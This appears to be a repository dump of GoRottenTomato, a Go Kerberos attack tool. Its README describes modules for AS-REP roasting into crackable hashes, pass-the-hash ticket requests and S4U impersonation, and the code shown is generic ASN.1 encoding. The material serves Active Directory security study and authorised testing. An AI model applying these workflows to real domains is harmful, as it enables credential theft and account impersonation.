├── README.md ├── README ├── 15DE4525-15D7-4052-81CC-A4CBDC423BAB 2.png ├── 15DE4525-15D7-4052-81CC-A4CBDC423BAB.png ├── 4A1D5386-DBA1-411C-9FE9-289F4E136DD3 2.png ├── 4A1D5386-DBA1-411C-9FE9-289F4E136DD3.png ├── 654526B1-5A82-43F8-BDE1-9F050C5DA323 2.png ├── 654526B1-5A82-43F8-BDE1-9F050C5DA323.png ├── 6A16F06F-5CB4-44F7-A649-78051EE58920 2.png ├── 6A16F06F-5CB4-44F7-A649-78051EE58920.png ├── 76845782-DCCA-45D3-8FB7-81F8C062372D 2.png ├── 76845782-DCCA-45D3-8FB7-81F8C062372D.png ├── 7AFACBE8-0B4A-4508-BD7C-B926C8A40E67 2.png ├── 7AFACBE8-0B4A-4508-BD7C-B926C8A40E67.png ├── CB7898B3-AE3A-441F-9ED4-6AA9B3BE4D94 2.png └── CB7898B3-AE3A-441F-9ED4-6AA9B3BE4D94.png ├── asn1 ├── asn1.go ├── common.go └── marshal.go ├── funcs ├── fqdn.go └── funcs.go ├── go.mod ├── krb5 ├── AskTGS │ ├── AskTGS.go │ └── funcs.go ├── AskTGT │ ├── AskTGT.go │ └── funcs.go ├── KRBError │ ├── KRBError.go │ ├── err.go │ └── lookup.go ├── S4U2 │ ├── S4U2Proxy.go │ └── S4U2Self.go ├── ccache │ └── ccache.go ├── crypto │ ├── aes128.go │ ├── aes256.go │ ├── aescts │ │ └── aescts.go │ ├── common │ │ └── common.go │ ├── etype │ │ └── etype.go │ ├── funcs.go │ ├── md4 │ │ ├── md4.go │ │ └── md4block.go │ ├── pbkdf2 │ │ └── pbkdf2.go │ ├── rc4hmac.go │ ├── rfc3961 │ │ ├── encryption.go │ │ ├── keyDerivation.go │ │ └── nfold.go │ ├── rfc3962 │ │ ├── encryption.go │ │ └── rfc3962.go │ └── rfc4757 │ │ ├── checksum.go │ │ ├── encryption.go │ │ ├── keyDerivation.go │ │ └── msgtype.go ├── flags │ ├── PrincipalNames.go │ └── kerberos.go ├── netWork │ └── netWork.go ├── procedure │ ├── AP_REQ.go │ ├── AS_REP.go │ ├── AS_REQ.go │ ├── KDC_REP.go │ ├── KDC_REQ.go │ ├── KRB_CRED.go │ ├── TGS_REP.go │ └── TGS_REQ.go ├── ticket │ ├── funcs.go │ ├── method.go │ └── ticket.go └── types │ ├── Authenticator.go │ ├── AuthorizationData.go │ ├── HostAddress.go │ ├── KerberosFlags.go │ ├── PAC.go │ ├── PaForUser.go │ ├── PaPacOptions.go │ ├── PrincipalName.go │ └── crypto.go ├── main.go └── module ├── asktgs.go ├── asktgt.go ├── asreproast.go ├── describe.go ├── funcs.go ├── module.go ├── renew.go └── s4u.go /README.md: -------------------------------------------------------------------------------- 1 | # README 2 |

🍅GoRottenTomato🍅

3 | 4 | ![go](https://img.shields.io/badge/Go-1.17-blue) 5 | 6 | ## 简介 7 | GoRottenTomato是为了深入学习AD域安全细节而进行的。闻之而不见,虽博必谬。这部分工具帮助我深入理解并学到了很多之前了解但是却不曾深入学习的技术细节。 8 | 使用格式: 9 | ``` 10 | ./tomato [模块] [参数...] 11 | ./tomato //查看已有模块 12 | ./tomato asktgt //查看asktgt模块所需参数 13 | ``` 14 | 15 | ## 模块介绍👽 16 | ### asktgt 17 |
18 | 👉asktgt详细参数 19 | 20 | ``` 21 | ┌──(root💀kali)-[~/Desktop] 22 | └─# ./tomato asktgt 23 | 24 | _____ _ 25 | /__ \___ _ __ ___ __ _| |_ ___ 26 | / /\/ _ \| '_ ` _ \ / _` | __/ _ \ 27 | / / | (_) | | | | | | (_| | || (_) | 28 | \/ \___/|_| |_| |_|\__,_|\__\___/ 29 | 30 | -dcIP string 31 | Target KDC's IP address 32 | -domain string 33 | Target domain name 34 | -etype string 35 | Kind of encryption key (rc4, aes128, aes256) (default "rc4") 36 | -hash string 37 | User's password hash 38 | -nopac 39 | Whether to include pac, default false 40 | -password string 41 | User's password 42 | -path string 43 | File save path 44 | -user string 45 | Username 46 | ``` 47 | 48 |
49 | 50 | ![](README/7AFACBE8-0B4A-4508-BD7C-B926C8A40E67%202.png) 51 | 52 | asktgt模块可以使用用户密码、哈希请求TGT(默认加密方式为rc4,也可以选择aes128和aes256),并且生成**Rubeus格式的Base64加密的TGT**,也可以指定path参数保存为.kirbi格式。还可以设置nopac参数决定是否包含pac(因为nopac参数是bool类型,需要等号连接)。 53 | 54 | 55 | ### asktgs 56 |
57 | 👉asktgs详细参数 58 | 59 | ``` 60 | 61 | ┌──(root💀kali)-[~/Desktop] 62 | └─# ./tomato asktgs 63 | 64 | _____ _ 65 | /__ \___ _ __ ___ __ _| |_ ___ 66 | / /\/ _ \| '_ ` _ \ / _` | __/ _ \ 67 | / / | (_) | | | | | | (_| | || (_) | 68 | \/ \___/|_| |_| |_|\__,_|\__\___/ 69 | 70 | -dcIP string 71 | Target KDC's IP address 72 | -domain string 73 | Target domain name 74 | -etype string 75 | Kind of encryption key (rc4, aes128, aes256) (default "rc4") 76 | -hash string 77 | User's password hash 78 | -nopac 79 | Whether to include pac, default false 80 | -password string 81 | User's password 82 | -path 83 | File save path, default false 84 | -service string 85 | services must be specified, comma separated 86 | -tgt string 87 | request TGS using the specified TGT (Base64TGT or .kirbi) 88 | -user string 89 | Username 90 | ``` 91 | 92 |
93 | 94 | ![](README/4A1D5386-DBA1-411C-9FE9-289F4E136DD3%202.png) 95 | 96 | asktgs模块允许使用Base64编码的TGT或者是.kirbi文件请求TGS,也可以提供账户信息先请求TGT再请求TGS,同时service参数可指定多个SPN分别请求TGS,例如**-service CIFS_DC1.test.com,host_DC1.test.com**。因为可能请求多个TGS,指定path参数为true时,将会按照固定名称格式保存TGS。 97 | 98 | ### describe 99 |
100 | 👉describe详细参数 101 | 102 | ``` 103 | ┌──(root💀kali)-[~/Desktop] 104 | └─# ./tomato describe 105 | 106 | _____ _ 107 | /__ \___ _ __ ___ __ _| |_ ___ 108 | / /\/ _ \| '_ ` _ \ / _` | __/ _ \ 109 | / / | (_) | | | | | | (_| | || (_) | 110 | \/ \___/|_| |_| |_|\__,_|\__\___/ 111 | 112 | -ticket string 113 | Ticket that needs to be decrypted (Base64TGT or .kirbi) 114 | ``` 115 | 116 |
117 | 118 | ![](README/654526B1-5A82-43F8-BDE1-9F050C5DA323%202.png) 119 | 120 | describe模块可以解析Base64编码的票据,也可以解析.kirbi文件 121 | 122 | ### renew 123 |
124 | 👉renew详细参数 125 | 126 | ``` 127 | ┌──(root💀kali)-[~/Desktop] 128 | └─# ./tomato renew 129 | 130 | _____ _ 131 | /__ \___ _ __ ___ __ _| |_ ___ 132 | / /\/ _ \| '_ ` _ \ / _` | __/ _ \ 133 | / / | (_) | | | | | | (_| | || (_) | 134 | \/ \___/|_| |_| |_|\__,_|\__\___/ 135 | 136 | -dcIP string 137 | Target KDC's IP address 138 | -path string 139 | File save path 140 | -tgt string 141 | Tickets that need to be renew (Base64TGT or .kirbi) 142 | -till duration 143 | Ticket expiration date, default 7 days (default 168h0m0s) 144 | ``` 145 | 146 |
147 | 148 | ![](README/76845782-DCCA-45D3-8FB7-81F8C062372D%202.png) 149 | 为指定的票据进行续订操作。 150 | 151 | ### asreproast 152 |
153 | 👉asreproast详细参数 154 | 155 | ``` 156 | ┌──(root💀kali)-[~/Desktop] 157 | └─# ./tomato asreproast 158 | 159 | _____ _ 160 | /__ \___ _ __ ___ __ _| |_ ___ 161 | / /\/ _ \| '_ ` _ \ / _` | __/ _ \ 162 | / / | (_) | | | | | | (_| | || (_) | 163 | \/ \___/|_| |_| |_|\__,_|\__\___/ 164 | 165 | -dcIP string 166 | Target KDC's IP address 167 | -domain string 168 | Target domain name 169 | -etype string 170 | Kind of encryption key (rc4, aes128, aes256) (default "rc4") 171 | -format string 172 | output format (john, hashcat) (default "john") 173 | -path string 174 | File save path 175 | -user string 176 | Username 177 | 178 | ``` 179 |
180 | 181 | ![](README/15DE4525-15D7-4052-81CC-A4CBDC423BAB%202.png) 182 | 183 | 当发现用户设置为不需要预身份认证时,可使用asreproast获得john和hashcat格式的tgt进行爆破,指定path参数将会同时保存john和hashcat格式。 184 | 185 | ### s4u 186 |
187 | 👉s4u详细参数 188 | 189 | ``` 190 | ┌──(root💀kali)-[~/Desktop] 191 | └─# ./tomato s4u 192 | 193 | _____ _ 194 | /__ \___ _ __ ___ __ _| |_ ___ 195 | / /\/ _ \| '_ ` _ \ / _` | __/ _ \ 196 | / / | (_) | | | | | | (_| | || (_) | 197 | \/ \___/|_| |_| |_|\__,_|\__\___/ 198 | 199 | -alter string 200 | Substitute in any service name 201 | -dcIP string 202 | Target KDC's IP address 203 | -domain string 204 | Target domain name 205 | -etype string 206 | Kind of encryption key (rc4, aes128, aes256) (default "rc4") 207 | -hash string 208 | User's password hash 209 | -impersonate string 210 | Account to be impersonated 211 | -nopac 212 | Whether to include pac, default false 213 | -password string 214 | User's password 215 | -save 216 | Whether to save the TGS, default false 217 | -service string 218 | target rbcd service 219 | -tgs string 220 | Base64 encoded TGS (Base64TGT or .kirbi) 221 | -tgt string 222 | Base64 encoded TGT (Base64TGT or .kirbi) 223 | -user string 224 | Username 225 | ``` 226 |
227 | 228 | ![](README/6A16F06F-5CB4-44F7-A649-78051EE58920%202.png) 229 | ![](README/CB7898B3-AE3A-441F-9ED4-6AA9B3BE4D94%202.png) 230 | 231 | s4u模块可以执行完整的ServiceForUser请求,此过程中,可以指定用户的TGT用于S4U2Self阶段的身份验证,也可以指定S4U2Proxy阶段所需要的票据(tgs参数),如果没有TGT,也可以凭借账户密码、哈希请求TGT并用于后续认证。 232 | 233 | alter参数也可以指定多个需要修改的服务名称,需要注意的是,此参数与asktgs模块的稍有不同,例如**-alter cifs,host**等。 234 | 235 | 需要注意,impersonate参数是必须的,因为需要指定impersonate以获得ticket。 236 | 237 | ## TODO😬 238 | * 支持ccache和kirbi文件的转换 239 | * 支持ptt功能 240 | * 支持LDAP查询 241 | 242 | ## 致谢🙏 243 | asn1 && crypto 244 | > https://github.com/jcmturner/gokrb5 245 | 246 | > https://github.com/GhostPack/Rubeus 247 | 248 | > https://github.com/gentilkiwi/kekeo 249 | 250 | ## 免责声明🤝 251 | 本工具仅用于AD域安全**学习**,如您需要测试本工具请自行搭建靶场环境。如您使用此工具,请确保您的行为符合当地**法律法规**的要求,或已获得**合法授权**。您的使用行为或者您以其他任何明示或者默示方式表示接受本协议的,即视为您已阅读并同意本协议的约束。 252 | -------------------------------------------------------------------------------- /README/15DE4525-15D7-4052-81CC-A4CBDC423BAB 2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/1ight-2020/GoRottenTomato/254da41db8a3e9970af065b81328752deac45013/README/15DE4525-15D7-4052-81CC-A4CBDC423BAB 2.png -------------------------------------------------------------------------------- /README/15DE4525-15D7-4052-81CC-A4CBDC423BAB.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/1ight-2020/GoRottenTomato/254da41db8a3e9970af065b81328752deac45013/README/15DE4525-15D7-4052-81CC-A4CBDC423BAB.png -------------------------------------------------------------------------------- /README/4A1D5386-DBA1-411C-9FE9-289F4E136DD3 2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/1ight-2020/GoRottenTomato/254da41db8a3e9970af065b81328752deac45013/README/4A1D5386-DBA1-411C-9FE9-289F4E136DD3 2.png -------------------------------------------------------------------------------- /README/4A1D5386-DBA1-411C-9FE9-289F4E136DD3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/1ight-2020/GoRottenTomato/254da41db8a3e9970af065b81328752deac45013/README/4A1D5386-DBA1-411C-9FE9-289F4E136DD3.png -------------------------------------------------------------------------------- /README/654526B1-5A82-43F8-BDE1-9F050C5DA323 2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/1ight-2020/GoRottenTomato/254da41db8a3e9970af065b81328752deac45013/README/654526B1-5A82-43F8-BDE1-9F050C5DA323 2.png -------------------------------------------------------------------------------- /README/654526B1-5A82-43F8-BDE1-9F050C5DA323.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/1ight-2020/GoRottenTomato/254da41db8a3e9970af065b81328752deac45013/README/654526B1-5A82-43F8-BDE1-9F050C5DA323.png -------------------------------------------------------------------------------- /README/6A16F06F-5CB4-44F7-A649-78051EE58920 2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/1ight-2020/GoRottenTomato/254da41db8a3e9970af065b81328752deac45013/README/6A16F06F-5CB4-44F7-A649-78051EE58920 2.png -------------------------------------------------------------------------------- /README/6A16F06F-5CB4-44F7-A649-78051EE58920.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/1ight-2020/GoRottenTomato/254da41db8a3e9970af065b81328752deac45013/README/6A16F06F-5CB4-44F7-A649-78051EE58920.png -------------------------------------------------------------------------------- /README/76845782-DCCA-45D3-8FB7-81F8C062372D 2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/1ight-2020/GoRottenTomato/254da41db8a3e9970af065b81328752deac45013/README/76845782-DCCA-45D3-8FB7-81F8C062372D 2.png -------------------------------------------------------------------------------- /README/76845782-DCCA-45D3-8FB7-81F8C062372D.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/1ight-2020/GoRottenTomato/254da41db8a3e9970af065b81328752deac45013/README/76845782-DCCA-45D3-8FB7-81F8C062372D.png -------------------------------------------------------------------------------- /README/7AFACBE8-0B4A-4508-BD7C-B926C8A40E67 2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/1ight-2020/GoRottenTomato/254da41db8a3e9970af065b81328752deac45013/README/7AFACBE8-0B4A-4508-BD7C-B926C8A40E67 2.png -------------------------------------------------------------------------------- /README/7AFACBE8-0B4A-4508-BD7C-B926C8A40E67.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/1ight-2020/GoRottenTomato/254da41db8a3e9970af065b81328752deac45013/README/7AFACBE8-0B4A-4508-BD7C-B926C8A40E67.png -------------------------------------------------------------------------------- /README/CB7898B3-AE3A-441F-9ED4-6AA9B3BE4D94 2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/1ight-2020/GoRottenTomato/254da41db8a3e9970af065b81328752deac45013/README/CB7898B3-AE3A-441F-9ED4-6AA9B3BE4D94 2.png -------------------------------------------------------------------------------- /README/CB7898B3-AE3A-441F-9ED4-6AA9B3BE4D94.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/1ight-2020/GoRottenTomato/254da41db8a3e9970af065b81328752deac45013/README/CB7898B3-AE3A-441F-9ED4-6AA9B3BE4D94.png -------------------------------------------------------------------------------- /asn1/common.go: -------------------------------------------------------------------------------- 1 | // Copyright 2009 The Go Authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style 3 | // license that can be found in the LICENSE file. 4 | 5 | package asn1 6 | 7 | import ( 8 | "reflect" 9 | "strconv" 10 | "strings" 11 | ) 12 | 13 | // ASN.1 objects have metadata preceding them: 14 | // the tag: the type of the object 15 | // a flag denoting if this object is compound or not 16 | // the class type: the namespace of the tag 17 | // the length of the object, in bytes 18 | 19 | // Here are some standard tags and classes 20 | 21 | // ASN.1 tags represent the type of the following object. 22 | const ( 23 | TagBoolean = 1 24 | TagInteger = 2 25 | TagBitString = 3 26 | TagOctetString = 4 27 | TagNull = 5 28 | TagOID = 6 29 | TagEnum = 10 30 | TagUTF8String = 12 31 | TagSequence = 16 32 | TagSet = 17 33 | TagNumericString = 18 34 | TagPrintableString = 19 35 | TagT61String = 20 36 | TagIA5String = 22 37 | TagUTCTime = 23 38 | TagGeneralizedTime = 24 39 | TagGeneralString = 27 40 | TagBMPString = 30 41 | ) 42 | 43 | // ASN.1 class types represent the namespace of the tag. 44 | const ( 45 | ClassUniversal = 0 46 | ClassApplication = 1 47 | ClassContextSpecific = 2 48 | ClassPrivate = 3 49 | ) 50 | 51 | type tagAndLength struct { 52 | class, tag, length int 53 | isCompound bool 54 | } 55 | 56 | // ASN.1 has IMPLICIT and EXPLICIT tags, which can be translated as "instead 57 | // of" and "in addition to". When not specified, every primitive type has a 58 | // default tag in the UNIVERSAL class. 59 | // 60 | // For example: a BIT STRING is tagged [UNIVERSAL 3] by default (although ASN.1 61 | // doesn't actually have a UNIVERSAL keyword). However, by saying [IMPLICIT 62 | // CONTEXT-SPECIFIC 42], that means that the tag is replaced by another. 63 | // 64 | // On the other hand, if it said [EXPLICIT CONTEXT-SPECIFIC 10], then an 65 | // /additional/ tag would wrap the default tag. This explicit tag will have the 66 | // compound flag set. 67 | // 68 | // (This is used in order to remove ambiguity with optional elements.) 69 | // 70 | // You can layer EXPLICIT and IMPLICIT tags to an arbitrary depth, however we 71 | // don't support that here. We support a single layer of EXPLICIT or IMPLICIT 72 | // tagging with tag strings on the fields of a structure. 73 | 74 | // fieldParameters is the parsed representation of tag string from a structure field. 75 | type fieldParameters struct { 76 | optional bool // true iff the field is OPTIONAL 77 | explicit bool // true iff an EXPLICIT tag is in use. 78 | application bool // true iff an APPLICATION tag is in use. 79 | private bool // true iff a PRIVATE tag is in use. 80 | defaultValue *int64 // a default value for INTEGER typed fields (maybe nil). 81 | tag *int // the EXPLICIT or IMPLICIT tag (maybe nil). 82 | stringType int // the string tag to use when marshaling. 83 | timeType int // the time tag to use when marshaling. 84 | set bool // true iff this should be encoded as a SET 85 | omitEmpty bool // true iff this should be omitted if empty when marshaling. 86 | 87 | // Invariants: 88 | // if explicit is set, tag is non-nil. 89 | } 90 | 91 | // Given a tag string with the format specified in the package comment, 92 | // parseFieldParameters will parse it into a fieldParameters structure, 93 | // ignoring unknown parts of the string. 94 | func parseFieldParameters(str string) (ret fieldParameters) { 95 | var part string 96 | for len(str) > 0 { 97 | // This loop uses IndexByte and explicit slicing 98 | // instead of strings.Split(str, ",") to reduce allocations. 99 | i := strings.IndexByte(str, ',') 100 | if i < 0 { 101 | part, str = str, "" 102 | } else { 103 | part, str = str[:i], str[i+1:] 104 | } 105 | switch { 106 | case part == "optional": 107 | ret.optional = true 108 | case part == "explicit": 109 | ret.explicit = true 110 | if ret.tag == nil { 111 | ret.tag = new(int) 112 | } 113 | case part == "generalized": 114 | ret.timeType = TagGeneralizedTime 115 | case part == "utc": 116 | ret.timeType = TagUTCTime 117 | // Savoir: https://github.com/jcmturner/gofork/blob/dc7c13fece037a4a36e2b3c69db4991498d30692/encoding/asn1/common.go#L106 118 | case part == "generalstring": 119 | ret.stringType = TagGeneralString 120 | case part == "ia5": 121 | ret.stringType = TagIA5String 122 | case part == "printable": 123 | ret.stringType = TagPrintableString 124 | case part == "numeric": 125 | ret.stringType = TagNumericString 126 | case part == "utf8": 127 | ret.stringType = TagUTF8String 128 | case strings.HasPrefix(part, "default:"): 129 | i, err := strconv.ParseInt(part[8:], 10, 64) 130 | if err == nil { 131 | ret.defaultValue = new(int64) 132 | *ret.defaultValue = i 133 | } 134 | case strings.HasPrefix(part, "tag:"): 135 | i, err := strconv.Atoi(part[4:]) 136 | if err == nil { 137 | ret.tag = new(int) 138 | *ret.tag = i 139 | } 140 | case part == "set": 141 | ret.set = true 142 | case part == "application": 143 | ret.application = true 144 | if ret.tag == nil { 145 | ret.tag = new(int) 146 | } 147 | case part == "private": 148 | ret.private = true 149 | if ret.tag == nil { 150 | ret.tag = new(int) 151 | } 152 | case part == "omitempty": 153 | ret.omitEmpty = true 154 | } 155 | } 156 | return 157 | } 158 | 159 | // Given a reflected Go type, getUniversalType returns the default tag number 160 | // and expected compound flag. 161 | func getUniversalType(t reflect.Type) (matchAny bool, tagNumber int, isCompound, ok bool) { 162 | switch t { 163 | case rawValueType: 164 | return true, -1, false, true 165 | case objectIdentifierType: 166 | return false, TagOID, false, true 167 | case bitStringType: 168 | return false, TagBitString, false, true 169 | case timeType: 170 | return false, TagUTCTime, false, true 171 | case enumeratedType: 172 | return false, TagEnum, false, true 173 | case bigIntType: 174 | return false, TagInteger, false, true 175 | } 176 | switch t.Kind() { 177 | case reflect.Bool: 178 | return false, TagBoolean, false, true 179 | case reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64: 180 | return false, TagInteger, false, true 181 | case reflect.Struct: 182 | return false, TagSequence, true, true 183 | case reflect.Slice: 184 | if t.Elem().Kind() == reflect.Uint8 { 185 | return false, TagOctetString, false, true 186 | } 187 | if strings.HasSuffix(t.Name(), "SET") { 188 | return false, TagSet, true, true 189 | } 190 | return false, TagSequence, true, true 191 | case reflect.String: 192 | return false, TagPrintableString, false, true 193 | } 194 | return false, 0, false, false 195 | } -------------------------------------------------------------------------------- /asn1/marshal.go: -------------------------------------------------------------------------------- 1 | // Copyright 2009 The Go Authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style 3 | // license that can be found in the LICENSE file. 4 | 5 | package asn1 6 | 7 | import ( 8 | "bytes" 9 | "errors" 10 | "fmt" 11 | "math/big" 12 | "reflect" 13 | "sort" 14 | "time" 15 | "unicode/utf8" 16 | ) 17 | 18 | var ( 19 | byte00Encoder encoder = byteEncoder(0x00) 20 | byteFFEncoder encoder = byteEncoder(0xff) 21 | ) 22 | 23 | // encoder represents an ASN.1 element that is waiting to be marshaled. 24 | type encoder interface { 25 | // Len returns the number of bytes needed to marshal this element. 26 | Len() int 27 | // Encode encodes this element by writing Len() bytes to dst. 28 | Encode(dst []byte) 29 | } 30 | 31 | type byteEncoder byte 32 | 33 | func (c byteEncoder) Len() int { 34 | return 1 35 | } 36 | 37 | func (c byteEncoder) Encode(dst []byte) { 38 | dst[0] = byte(c) 39 | } 40 | 41 | type bytesEncoder []byte 42 | 43 | func (b bytesEncoder) Len() int { 44 | return len(b) 45 | } 46 | 47 | func (b bytesEncoder) Encode(dst []byte) { 48 | if copy(dst, b) != len(b) { 49 | panic("internal error") 50 | } 51 | } 52 | 53 | type stringEncoder string 54 | 55 | func (s stringEncoder) Len() int { 56 | return len(s) 57 | } 58 | 59 | func (s stringEncoder) Encode(dst []byte) { 60 | if copy(dst, s) != len(s) { 61 | panic("internal error") 62 | } 63 | } 64 | 65 | type multiEncoder []encoder 66 | 67 | func (m multiEncoder) Len() int { 68 | var size int 69 | for _, e := range m { 70 | size += e.Len() 71 | } 72 | return size 73 | } 74 | 75 | func (m multiEncoder) Encode(dst []byte) { 76 | var off int 77 | for _, e := range m { 78 | e.Encode(dst[off:]) 79 | off += e.Len() 80 | } 81 | } 82 | 83 | type setEncoder []encoder 84 | 85 | func (s setEncoder) Len() int { 86 | var size int 87 | for _, e := range s { 88 | size += e.Len() 89 | } 90 | return size 91 | } 92 | 93 | func (s setEncoder) Encode(dst []byte) { 94 | // Per X690 Section 11.6: The encodings of the component values of a 95 | // set-of value shall appear in ascending order, the encodings being 96 | // compared as octet strings with the shorter components being padded 97 | // at their trailing end with 0-octets. 98 | // 99 | // First we encode each element to its TLV encoding and then use 100 | // octetSort to get the ordering expected by X690 DER rules before 101 | // writing the sorted encodings out to dst. 102 | l := make([][]byte, len(s)) 103 | for i, e := range s { 104 | l[i] = make([]byte, e.Len()) 105 | e.Encode(l[i]) 106 | } 107 | 108 | sort.Slice(l, func(i, j int) bool { 109 | // Since we are using bytes.Compare to compare TLV encodings we 110 | // don't need to right pad s[i] and s[j] to the same length as 111 | // suggested in X690. If len(s[i]) < len(s[j]) the length octet of 112 | // s[i], which is the first determining byte, will inherently be 113 | // smaller than the length octet of s[j]. This lets us skip the 114 | // padding step. 115 | return bytes.Compare(l[i], l[j]) < 0 116 | }) 117 | 118 | var off int 119 | for _, b := range l { 120 | copy(dst[off:], b) 121 | off += len(b) 122 | } 123 | } 124 | 125 | type taggedEncoder struct { 126 | // scratch contains temporary space for encoding the tag and length of 127 | // an element in order to avoid extra allocations. 128 | scratch [8]byte 129 | tag encoder 130 | body encoder 131 | } 132 | 133 | func (t *taggedEncoder) Len() int { 134 | return t.tag.Len() + t.body.Len() 135 | } 136 | 137 | func (t *taggedEncoder) Encode(dst []byte) { 138 | t.tag.Encode(dst) 139 | t.body.Encode(dst[t.tag.Len():]) 140 | } 141 | 142 | type int64Encoder int64 143 | 144 | func (i int64Encoder) Len() int { 145 | n := 1 146 | 147 | for i > 127 { 148 | n++ 149 | i >>= 8 150 | } 151 | 152 | for i < -128 { 153 | n++ 154 | i >>= 8 155 | } 156 | 157 | return n 158 | } 159 | 160 | func (i int64Encoder) Encode(dst []byte) { 161 | n := i.Len() 162 | 163 | for j := 0; j < n; j++ { 164 | dst[j] = byte(i >> uint((n-1-j)*8)) 165 | } 166 | } 167 | 168 | func base128IntLength(n int64) int { 169 | if n == 0 { 170 | return 1 171 | } 172 | 173 | l := 0 174 | for i := n; i > 0; i >>= 7 { 175 | l++ 176 | } 177 | 178 | return l 179 | } 180 | 181 | func appendBase128Int(dst []byte, n int64) []byte { 182 | l := base128IntLength(n) 183 | 184 | for i := l - 1; i >= 0; i-- { 185 | o := byte(n >> uint(i*7)) 186 | o &= 0x7f 187 | if i != 0 { 188 | o |= 0x80 189 | } 190 | 191 | dst = append(dst, o) 192 | } 193 | 194 | return dst 195 | } 196 | 197 | func makeBigInt(n *big.Int) (encoder, error) { 198 | if n == nil { 199 | return nil, StructuralError{"empty integer"} 200 | } 201 | 202 | if n.Sign() < 0 { 203 | // A negative number has to be converted to two's-complement 204 | // form. So we'll invert and subtract 1. If the 205 | // most-significant-bit isn't set then we'll need to pad the 206 | // beginning with 0xff in order to keep the number negative. 207 | nMinus1 := new(big.Int).Neg(n) 208 | nMinus1.Sub(nMinus1, bigOne) 209 | bytes := nMinus1.Bytes() 210 | for i := range bytes { 211 | bytes[i] ^= 0xff 212 | } 213 | if len(bytes) == 0 || bytes[0]&0x80 == 0 { 214 | return multiEncoder([]encoder{byteFFEncoder, bytesEncoder(bytes)}), nil 215 | } 216 | return bytesEncoder(bytes), nil 217 | } else if n.Sign() == 0 { 218 | // Zero is written as a single 0 zero rather than no bytes. 219 | return byte00Encoder, nil 220 | } else { 221 | bytes := n.Bytes() 222 | if len(bytes) > 0 && bytes[0]&0x80 != 0 { 223 | // We'll have to pad this with 0x00 in order to stop it 224 | // looking like a negative number. 225 | return multiEncoder([]encoder{byte00Encoder, bytesEncoder(bytes)}), nil 226 | } 227 | return bytesEncoder(bytes), nil 228 | } 229 | } 230 | 231 | func appendLength(dst []byte, i int) []byte { 232 | n := lengthLength(i) 233 | 234 | for ; n > 0; n-- { 235 | dst = append(dst, byte(i>>uint((n-1)*8))) 236 | } 237 | 238 | return dst 239 | } 240 | 241 | func lengthLength(i int) (numBytes int) { 242 | numBytes = 1 243 | for i > 255 { 244 | numBytes++ 245 | i >>= 8 246 | } 247 | return 248 | } 249 | 250 | func appendTagAndLength(dst []byte, t tagAndLength) []byte { 251 | b := uint8(t.class) << 6 252 | if t.isCompound { 253 | b |= 0x20 254 | } 255 | if t.tag >= 31 { 256 | b |= 0x1f 257 | dst = append(dst, b) 258 | dst = appendBase128Int(dst, int64(t.tag)) 259 | } else { 260 | b |= uint8(t.tag) 261 | dst = append(dst, b) 262 | } 263 | 264 | if t.length >= 128 { 265 | l := lengthLength(t.length) 266 | dst = append(dst, 0x80|byte(l)) 267 | dst = appendLength(dst, t.length) 268 | } else { 269 | dst = append(dst, byte(t.length)) 270 | } 271 | 272 | return dst 273 | } 274 | 275 | type bitStringEncoder BitString 276 | 277 | func (b bitStringEncoder) Len() int { 278 | return len(b.Bytes) + 1 279 | } 280 | 281 | func (b bitStringEncoder) Encode(dst []byte) { 282 | dst[0] = byte((8 - b.BitLength%8) % 8) 283 | if copy(dst[1:], b.Bytes) != len(b.Bytes) { 284 | panic("internal error") 285 | } 286 | } 287 | 288 | type oidEncoder []int 289 | 290 | func (oid oidEncoder) Len() int { 291 | l := base128IntLength(int64(oid[0]*40 + oid[1])) 292 | for i := 2; i < len(oid); i++ { 293 | l += base128IntLength(int64(oid[i])) 294 | } 295 | return l 296 | } 297 | 298 | func (oid oidEncoder) Encode(dst []byte) { 299 | dst = appendBase128Int(dst[:0], int64(oid[0]*40+oid[1])) 300 | for i := 2; i < len(oid); i++ { 301 | dst = appendBase128Int(dst, int64(oid[i])) 302 | } 303 | } 304 | 305 | func makeObjectIdentifier(oid []int) (e encoder, err error) { 306 | if len(oid) < 2 || oid[0] > 2 || (oid[0] < 2 && oid[1] >= 40) { 307 | return nil, StructuralError{"invalid object identifier"} 308 | } 309 | 310 | return oidEncoder(oid), nil 311 | } 312 | 313 | func makePrintableString(s string) (e encoder, err error) { 314 | for i := 0; i < len(s); i++ { 315 | // The asterisk is often used in PrintableString, even though 316 | // it is invalid. If a PrintableString was specifically 317 | // requested then the asterisk is permitted by this code. 318 | // Ampersand is allowed in parsing due a handful of CA 319 | // certificates, however when making new certificates 320 | // it is rejected. 321 | if !isPrintable(s[i], allowAsterisk, rejectAmpersand) { 322 | return nil, StructuralError{"PrintableString contains invalid character"} 323 | } 324 | } 325 | 326 | return stringEncoder(s), nil 327 | } 328 | 329 | func makeIA5String(s string) (e encoder, err error) { 330 | for i := 0; i < len(s); i++ { 331 | if s[i] > 127 { 332 | return nil, StructuralError{"IA5String contains invalid character"} 333 | } 334 | } 335 | 336 | return stringEncoder(s), nil 337 | } 338 | 339 | func makeNumericString(s string) (e encoder, err error) { 340 | for i := 0; i < len(s); i++ { 341 | if !isNumeric(s[i]) { 342 | return nil, StructuralError{"NumericString contains invalid character"} 343 | } 344 | } 345 | 346 | return stringEncoder(s), nil 347 | } 348 | 349 | func makeUTF8String(s string) encoder { 350 | return stringEncoder(s) 351 | } 352 | 353 | func appendTwoDigits(dst []byte, v int) []byte { 354 | return append(dst, byte('0'+(v/10)%10), byte('0'+v%10)) 355 | } 356 | 357 | func appendFourDigits(dst []byte, v int) []byte { 358 | var bytes [4]byte 359 | for i := range bytes { 360 | bytes[3-i] = '0' + byte(v%10) 361 